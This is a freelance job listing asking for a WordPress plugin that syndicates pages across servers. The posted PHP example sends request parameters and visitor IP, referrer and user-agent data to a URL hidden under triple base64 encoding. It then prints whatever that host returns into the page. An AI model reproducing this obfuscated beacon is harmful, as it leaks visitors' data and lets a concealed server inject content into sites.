Seocheckout

Custom PHP Wordpress Plugin For Wordpress Post Mapping

Custom PHP Wordpress Plugin For Wordpress Post Mapping

I need a custom Wordpress Plugin that will map Wordpress Pages from My server to be Mapped onto another server. For example I would create 10 Wordpress pages on my domain. Then I want to install a WP plugin on another Wordpress installation on another server. This plugin would grab the WP Pages from my server and display them on the other Wordpress site.

Here is an example that does this:

<?php

session_start(); $psid = session_id(); $nvp = '';

foreach($_REQUEST AS $key => $value) { if ($key != '' && $value == ''){ $value = $key; $key = 'title'; ${$key} = $value; } if ($key != '' && $value != ''){ $nvp .= $key . '||' . $value . '|||||'; }}

function post_to_url($url, $data) {$fields = ''; foreach($data as $key => $value) { $fields .= $key . '=' . $value . '&'; } rtrim($fields, '&'); $post = curl_init();curl_setopt($post, CURLOPT_URL, $url);curl_setopt($post, CURLOPT_POST, count($data));curl_setopt($post, CURLOPT_POSTFIELDS, $fields);curl_setopt($post, CURLOPT_RETURNTRANSFER, 1);$result = curl_exec($post);curl_close($post);return $result;}$remote_traffic_ip = $traffic_ip = getenv("REMOTE_ADDR");$remote_traffic_referrer = strtolower($_SERVER['HTTP_REFERER']);$remote_traffic_user_agent = $_SERVER['HTTP_USER_AGENT'];$remote_traffic_page_name = $_SERVER['PHP_SELF'];$remote_traffic_server_name = $_SERVER['SERVER_NAME'];$remote_traffic_server_software = $_SERVER['SERVER_SOFTWARE'];$remote_traffic_uri = $_SERVER["REQUEST_URI"];if ($trace == 'y'){echo "<hr>$remote_traffic_ip <br>$remote_traffic_referrer <br>$remote_traffic_user_agent <br>$remote_traffic_page_name <br>$remote_traffic_server_name <br>$remote_traffic_server_software <br>$remote_traffic_uri <br><hr>";}$data = array("title" => $title,"remote_traffic_ip" => $remote_traffic_ip,"remote_traffic_referrer" => $remote_traffic_referrer,"remote_traffic_user_agent" => $remote_traffic_user_agent,"remote_traffic_page_name" => $remote_traffic_page_name,"remote_traffic_server_name" => $remote_traffic_server_name,"remote_traffic_server_software" => $remote_traffic_server_software,"remote_traffic_uri" => $remote_traffic_uri,"nvp" => $nvp);$content =post_to_url(base64_decode(base64_decode(base64_decode('WVVoU01HTklUVFpNZVRrelpETmpkV05ZVm1oaWJsSXhZbGRTYVU1VE5XcGlNakIyWXpOc2RWcEhiR3BaV0ZKd1lqSTBkbUZYTld0YVdHZDFZbGRHZVdFeVZqQk1XRTV2V1ZoS2NreHVRbTlqUkRnOQ=='))), $data);echo $content;

/*-- DO NOT TOUCH THE CODE!!! --*/

>


Requirements

I need to be able to disable these requests from my server.


Skills Required

PHP Wordpres MySQL

Bids

No bids made yet - be the first!

Bid On Listing

Bid On Listing Created 5 years ago in Programming

Other jobs by Webclimb